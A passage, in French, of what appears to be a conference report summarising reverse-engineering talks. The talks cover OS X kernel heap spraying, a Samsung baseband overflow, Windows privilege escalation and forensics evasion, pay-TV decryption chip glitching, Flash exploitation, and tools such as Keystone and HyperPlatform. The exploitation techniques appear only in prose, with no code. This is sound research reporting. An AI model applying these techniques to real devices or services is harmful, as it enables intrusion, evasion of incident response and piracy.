Un aspect intéressant de l’analyse est la présence de quelques fails découverts tel que l’oubli de configurer bitly en mode privé permettant ainsi de découvrir les URLs, le code C++ commenté du composant XAGENT laissé en ligne, ou encore du code et messages de debug laissés dans les exploits (non obfusqués).

Shooting the OS X El Capitan Kernel Like a Sniper

La team Keen (aka Team Sniper à pwn2own 2016) introduit tout d’abord les mitigations présentes dans le dernier kernel OS X: les classiques kASLR, DEP, SMEP et SMAP (qui est supporté par le hardware des derniers mac). La structure vm_map_copy – utilisée pour garder une copie de certaines données, et cible privilégiée des exploits kernel pour obtenir un arbitrary read – a par ailleurs été modifiée: le pointeur kdata a été retiré, puis une vérification a été ajoutée sur le champ size qui se faisait alors utiliser afin de contourner la première mitigation. Ces dernières rendent l’exploitation bien plus complexe malgré la présence d’un TOCTOU possible sur la vérification du champ size.

Leur observation est que la kslide fixée pour l’ASLR du kernel 64-bit est relativement faible, avec une couverture d’environ 512MB. Il est donc possible de faire du Heap Spraying afin d’obtenir de façon fiable des données contrôlées à une adresse fixe, dont des adresses kalloc‘ed et une ropchain kernel permettant de contourner SMAP/SMEP.

Ils démontrent ensuite cette technique sur leur exploit pwn2own: un bug permettant un write-what-where restreint de 8 floats dans un range de [-0xFFFF:0xFFFF]. Afin de l’exploiter ils sprayent la mémoire en mettant un tag (0x41414141) à un endroit précis, itèrent sur tous leurs objets jusqu’a retrouver ce tag, puis avancent octet par octet jusqu’à obtenir une adresse de vtable, permettant ainsi de retrouver l’adresse de base du kernel. Ils peuvent alors ensuite remplir à nouveau leurs objets avec une ropchain et finir par réécrire la vtable afin de pivoter dans la ropchain.

JavaJournal

La plupart des reversers sont réticents à lire du code Java. Bien que le bytecode se décompile facilement, reverser du code Java obfusqué dans lequel toutes les classes, méthodes et variables sont renomées en variantes de oO0o0O() s’avère vite pénible.
JavaJournal s’intéresse alors plutôt à la création de traces Java pour extraire les informations au runtime (tel que des chaînes de caractères déchiffrées), en tracant un processus Java avec le Java Debug Wire Protocol. L’application et le framework pyspresso sous-jacent sont codés en python et disponible sur github.

The Remote Metamorphic Engine

L’objectif du RME est d’obfusquer du code afin d’empêcher l’analyse par un reverser ou par une intelligence artificielle d’AV avec machine learning. Le concept (simplifié) est d’avoir une zone “trusted” à distance, et une zone “untrusted” en local qui exécute du code polymorphe/métamorphe en utilisant un challenge envoyé par la zone trusted . Le code est généré de sorte à ce qu’il faille exécuter le challenge pour y répondre, et de nombreuses mesures de détection de modification de la mémoire, détection d’émulation / debug, et d’obfuscation sont ajoutées pour complexifier le tout.

La question qui persiste toutefois est l’intérêt pratique de toute cette complexité puisqu’un analyste pourrait toujours analyser les syscalls effectués sans être détecté; tout le reste des opérations pourrait alors s’effectuer de manière beaucoup plus simple directement à distance dans la zone trusted

BBS-Era Exploitation for Fun and Anachronism

Cette présentation revient à l’ère du modem, avant l’apparition d’Internet, en gardant les connaissances d’exploitation modernes. Les BBS – Bulletin Board System – n’étaient évidemment pas sujets aux protections actuelles telles que DEP, ASLR, /GS, SafeSEH ou encore CFI… un fuzzing simpliste est suffisant pour découvrir des vulnérabilités, et l’exploitation s’avère donc très simple.

Ils ont terminé par une démonstration d’exploitation de RIPTerm.exe dont le payload lance le jeu Doom.

Dangerous Optimizations and the Loss of Causality

Les compilateurs optimisent le plus possible le code compilé, en enlevant typiquement le code jugé inutile ou inatteignable, sans forcément retourner de warnings à la compilation. Un exemple serait de tenter de détecter les integer overflows avec un code tel que if (ptr + len < ptr || ptr + len > max_ptr), que le compilateur pourrait optimiser en if (ptr + len > max_ptr) si len est unsigned, rendant ainsi le code vulnérable.

La recommandation est alors d’éviter les comportements indéfinis (ex: if (len > max_ptr - ptr)) et d’ajouter l’option -Wstrict-overflow=N à la compilation pour mieux détecter ces comportements.

Breaking Band

Cette recherche a été motivée par le lancement de Mobile PWN2OWN en 2012 avec un prix de départ de 100’000 $ pour un exploit dans un baseband. Pour rappel, le baseband est un système embarqué dans les téléphones mobiles et permet la communication sur les réseaux mobiles. Personne n’avait gagné ce prix jusqu’en 2015, ou l’équipe de Comsecuris a finalement exploité un baseband de Samsung Galaxy S6 pour la modique somme de 150’000 $.

Le baseband du S6 edge utilise le processeur cellulaire “Shannon”, à priori développé par Samsung. Il s’occupe de toute la couche mobile, 2G-4G, la carte SIM, la communication avec le système, etc. L’architecture est un ARM Cortex-R7. Afin de débuter l’analyse, les chercheurs ont d’abord tenté de reverser le blob binaire contenu dans les mise à jour de firmware Samsung. Ce dernier était composé d’un code de démarrage (bootstrap) et d’un binaire de 38MB, ayant une forte entropie. Ils n’ont pas réussi à le déchiffrer de manière statique.

Ils ont ensuite découvert qu’il était possible de générer des ramdump du CP (cellular processor) via la commande cbd (root) ou encore depuis le téléphone en utilisant le code *#9090# (spécifique à samsung) et en forçant le dump. Cela a permit de récupérer le binaire de 38M depuis le dump de 130MB en clair. Afin de le reverser plus facilement, ils ont ensuite identifié les fonctions au moyens de strings de debug, et les chemins des nom de fichiers. Ils ont ainsi pu générer ~20’000 functions nommées et il a fallu ensuite reverser les tâches kernel et la gestion de la mémoire.

Ils ont ensuite cherché des moyens de débugger les crash, et ont trouvé que les commandes AT permettent de lire ou d’écrire dans la mémoire (entre autre), permettant ainsi de connaître l’état de la pile au moment de crash. Pour rechercher des failles dans le baseband, ils ont identifié les fonctions gérant les messages dans la couche réseau L3 et ont pu retrouver le handler de messages 3G.

Un bug a été rapidement trouvé dans la gestion de message “PROGRESS” ou l’élément envoyé spécifie sa valeur et sa longueur, permettant d’effectuer un stack buffer overflow classique. Leur poc démontrait la prise de contrôle en redirigeant les appels reçu par la victime suite à un SMS reçu. Ils ont terminé leur présentation avec quelques pistes possibles pour escalader d’une compromission de baseband vers l’OS du téléphone.

Process Failure Modes

Alors que relativement simple à effectuer sur les systèmes UNIX, la création sécurisée de nouveaux processus sur Windows peut s’avérer complexe et peut être abusée à des fins d’élévation de privilèges.

Typiquement des problèmes liés à l’impersonation de l’utilisateur peuvent surgir lors de la création par un service privilégié (Task Scheduler, UAC, …); plusieurs exemples d’anciens bugs découverts dans Windows sont ainsi présentés, tel que l’utilisation du jeton d’accès (token) du service plutôt que celui de l’utilisateur, l’absence de token par l’utilisation de CreateProcess – qui lorsque lancée en contexte d’impersonation d’utilisateur laisse à l’utilisateur la possibilité de définir son propre handler d’exécutable afin de lancer une autre commande (avec les privilèges du service) que celle hardcodée dans l’application, la création d’un processus en Session 0 (utilisée pour les services) avec un token anonyme – ce qui peut avoir plusieurs conséquences tel que d’ouvrir la porte à d’autres attaques comme que le squatting de nom d’objet.

Le dernier exploit présenté est un bug de reference cycle provoqué par l’impersonation d’un LowBoxToken (AppContainer). Les objets du kernel restent présents tant que leur reference count n’atteint pas zéro. Puisque le bug maintient le reference count et permet donc de conserver un objet de processus malgré qu’il soit terminé. L’exploit “raising the dead” parvient alors à en abuser pour effectuer un Session ID Use-After-Free, nécessitant de se déconnecter et attendre qu’un administrateur se connecte et réutilise l’ID de session.

Quelques tricks pouvant induire en erreur les équipes de réponse à incident sont ensuite présentés, tel que la suppression d’un exécutable en cours d’exécution, l’exécution directe de DLL en processus, ou encore confondre WMI et Process Explorer afin qu’ils voient le chemin d’un autre exécutable.

How Do I Crack Satellite and Cable Pay TV?

Probablement la présentation la plus impressionnante techniquement. Chris Gerlinsky s’est attaqué au protocole Digicipher 2 utilisé dans de nombreuses set-top-boxes aux USA.

Il s’est focalisé sur le chiffrement utilisé pour le flux vidéo, et surtout comment le casser. Ayant identifié le chip responsable du déchiffrement en hardware sur un boîtier, il a entrepris de mapper les pins afin de trouver lesquelles pouvaient être reliées à quoi sur le PCB. Il a ainsi pu identifier qu’une batterie alimentait le chip, donc que les clés étaient probablement stockées en RAM et paramétrées par le constructeur en usine.

Chris a alors décidé de décaper le chip à l’acide couche par couche, et de l’observer au microscope électronique. Ceci a permis d’extraire visuellement la ROM bit par bit (!) et reconstituer le firmware exécuté sur le chip. Le CPU a été identifié comme un Motorola 6502.

Il a ensuite tenté de glitcher ce chip pour essayer d’obtenir une exécution de code en redirigeant le flux d’exécution sur la pile, permettant à terme de lire la mémoire et d’extraire les clés de chiffrement. En envoyant son payload via le bus SPI et en glitchant l’alimentation du chip, il a pu exécuter son shellcode, consistant en une boucle infinie de réception de shellcode sur le bus SPI. Le dump optique de la ROM a alors pu être comparé à celle lue via le shellcode. La comparaison bit à bit a montré un taux d’erreur de seulement 0.04%!

Le chip en test ayant été dessoudé du PCB, la RAM est donc vide. Il a par la suite ponté les pins d’un autre chip sur une batterie externe afin de maintenir les données en RAM avant de le dessouder à son tour. L’implémentation DES a alors été analysée car les résultats démontraient un algorithme non standard. Certains bits étaient en effet XORés lors de la lecture des données chiffrées avant le déchiffrement.

Il a finalement implémenté le tout en software et visualisé la mire d’attente d’un programme en pay per view. La présentation se conclut par “This was somewhat useless as there is nothing worth watching on TV

Monitoring & controlling kernel-mode events by HyperPlatform

HyperPlatform est un hyperviseur qui se veut simple à étendre et rapide d’exécution (contrairement à Boschs par exemple), tout en supportant les versions modernes de Windows (7-10 x86/x64). Le code est open-source ici.

L’hyperviseur est basé sur Intel-VT et hook les événements VM-exit, fournissant ainsi le contexte d’exécution et l’accès à la mémoire avec EPT. Cela permet alors de créer une API rapide et invisible du point de vue de l’OS. Le but original était d’analyser la protection patchguard du kernel Windows, mais les possibilités d’utilisation sont nombreuses. Une démonstration de EopMon basé sur HyperPlatform montre alors la détection et prévention d’une attaque de vol de jeton d’accès à des fins d’élevation de privilèges.

More Flash, More Fun!

Flash, bien que supposé être en voie de disparition, reste la cible privilégiée des attaques sur les navigateurs*. Sa surface d’attaque se décompose en 3 composants:

  1. ActionScript 2 (AS2): ensemble d’APIs ancien et réduit ayant de nombreux bugs mais dont l’exploitabilité peut s’avérer complexe
  2. ActionScript 3 (AS3): plus récent, moins de bugs mais exploitation plus simple
  3. “anticorpus”: les fonctionnalités présentes en dehors des langages de script: parseurs MP4, décompression…

En plus d’être affecté par les bugs tels que Heap Overflow ou Use-After-Free, Flash est notoirement susceptible aux bugs de Type Confusion, qui surgissent lorsqu’un type est casté en un autre “mauvais” type invalide avant utilisation, permettant alors d’écrire des valeurs arbitraires qui se retrouvent utilisées en pointeur par l’autre type.

Afin de complexifier l’exploitation et éviter les techniques classiques tel qu’écraser le champ size dans un Vector adjacent afin d’obtenir un arbitrary read/write, plusieurs mitigations ont été introduites, tel que l’isolation des classes utilisées de façon récurrentes dans les exploits dans un heap différent et l’application de checksums sur les structures sensibles. Évidemment ces derniers ne suffisent pas à bloquer toutes les attaques, ce qui est démontré en décrivant un exploit dans le reste de la présentation.

A Monitor Darkly: Reversing and Exploiting Ubiquitous On-Screen-Display Controllers in Modern Monitors

La journée s’est terminée par une présentation assez drôle, de par les slides mais aussi de la mise en scène faite par cette équipe de chercheur qui ont remarqué par hasard qu’un nouvel écran s’affichait en tant que device DDC. Après pas mal de recherche, ils se sont lancés dans le reversing du firmware et de l’OSD de leur écran, afin de pouvoir afficher n’importe quoi.

Plusieurs exemples ont été présentés avec une licorne apparaissant sur l’écran, ou encore l’affichage d’un cadenas vert dans firefox lors de l’accès à 4chan.

Sol[IDA]rity

Sol[IDA]rity est un nouveau plugin alternatif pour effectuer du Reverse Engineering collaboratif dans IDA. Plusieurs projets s’y attèlent déjà, mais ces derniers sont soit difficiles à utiliser, soit nécessitent l’utilisation de services externes.

Ce plugin permet de créer un projet (un par binaire), et de partager les modifications effectuées avec certains utilisateurs choisis: structures, noms/types de fonctions/variables, contenu décompilé par hex-rays, etc. Le tout en temps réel, avec la possibilité de se resynchroniser (replay des modifications) lorsqu’on se reconnecte au serveur.

Sol[IDA]rity est implémenté tout en python et hook de nombreux composants Qt afin de customiser IDA. Le code du client et du serveur devraient être open-sourcé, et on ne peut être qu’impatient de tenter de l’utiliser!

Des démonstrations sont disponibles sur https://solidarity.re/

Keystone: the last missing framework of Reverse Engineering

Après avoir publié les frameworks Capstone (désassembleur) et Unicorn Engine (émulateur CPU), le seul composant manquant à l’auteur était un assembleur: Keystone. L’objectif de ce dernier est d’exposer un framework simple d’utilisation et de le maintenir à jour avec les instructions ajoutées par les derniers CPUs, sans faire le choix simple mais lent d’utiliser masm ou binutils et de parser l’output.

De même que les 2 autres frameworks du même auteur, Keystone est multi-architecture et multi-plateforme, dispose d’une API C/C++ et de bindings pour python et quelques autres langages hipster. Keystone est implémenté au dessus de LLVM, ce qui lui fournit un très bon support de par l’implication de plusieurs vendeurs CPU dans le projet.

When Governments Attack

L’EFF (Electronic Frontier Foundation) agit sur plusieurs sujets tel que défendre les droits digitaux aux tribunaux, publier des articles sur la loi & la confidentialité, ou développer des projets tel que le récent Let’s Encrypt. Dans cette présentation plusieurs scénarios d’attaque effectués par des gouvernements contre des journalistes et activistes sont décrits, et révèlent que les attaques n’ont pas nécessairement besoin d’être sophistiquées pour marcher: des bloggeurs vietnamiens étaient ciblés par des fichiers Office malicieux, l’Éthiopie en utilisant des techniques similaires avait installé l’outil de surveillance FinFisher sur l’ordinateur d’un citoyen américain, ou encore des appels téléphoniques de Social Engineering ont été tentés sur des personnes travaillant en relation avec des activistes iraniens.

Des domaines qui n’appartenaient plus à l’EFF tel que electronicfrontierfoundation.org ont été utilisés dans des attaques plus sophistiquées tel que Pawn Storm (Russie?), qui de leur expérience inclut l’utilisation conjointe de spear phishing et de 0days Java (Désactivation du click to play + vulnérabilité de désérialization d’objet) pour finallement déployer le malware Sednit.

Reverse Engineering ISC controllers

Après avoir vu le cours Coursera “Computer Architecture”, l’auteur a décidé d’acquérir une carte FPGA Xilinx afin de développer son propre processeur. Par la suite, il s’est rendu compte qu’il n’était pas possible de le faire depuis Linux. Il s’est donc concentré sur le reversing des outils de Xilinx afin de développer une librairie opensource permettant de communiquer avec n’importe quelle board FPGA.

L’auteur a d’abord analysé le traffic USB du controlleur Xilinx, dumpé son firmware et reversé le protocole utilisé par ce controlleur pour communiquer en JTAG vers les boards. Certains des outils développé sont publiés sur github :

https://github.com/diamondman

Abusing the NT Kernel Shim Engine

Le Kernel Shim Engine (KSE) est un composant non documenté du kernel Windows permettant d’intercepter divers appels effectués par les drivers. La structure utilisée par ces derniers (fonctions Kse du kernel) est obtenue par Reverse Engineering due à l’absence de symboles.
Le KSE permet de poser des Device Shims et Driver Shims. Par défaut Windows enregistre et utilise plusieurs shims, dont certains built-ins: KmWin7VersionLie (falsifie la version de Windows perçue par le driver), KmWin8VersionLie, KmWin81VersionLie, SkipDriverUnload (curieux..), DriverScope… La setup du KSE est contrôlé par des clés de registre et la Shim Database (SDB). Dans un premier temps l’IAT est hookée, puis les callbacks et gestionnaires d’IRPs (I/O Request Packets).
Le KSE permet donc d’intercepter proprement de nombreux appels intéressants dans le kernel, et semble donc être une bonne cible pour les malwares (ou solutions anti-malware).
La fin de la présentation introduit DriverMon: un outil graphique de monitoring de l’activité des drivers, qui devrait être ajouté à cette URL dans un futur proche.

Movfuscator-Be-Gone

L’instruction mov a été prouvée Turing-complete il y a quelques années. L’année dernière un obfuscateur nommé M/o/Vfuscator a été publié, qui compile un programme en instructions mov seulement, anéantissant alors le CFG et rendant le code beaucoup plus dur à reverser. Cette présentation introduit le Demovfuscator, qui rétabli le CFG (testé sur des épreuves de CTF) en utilisant une combinaison de static taint analysis et le solveur SMT z3.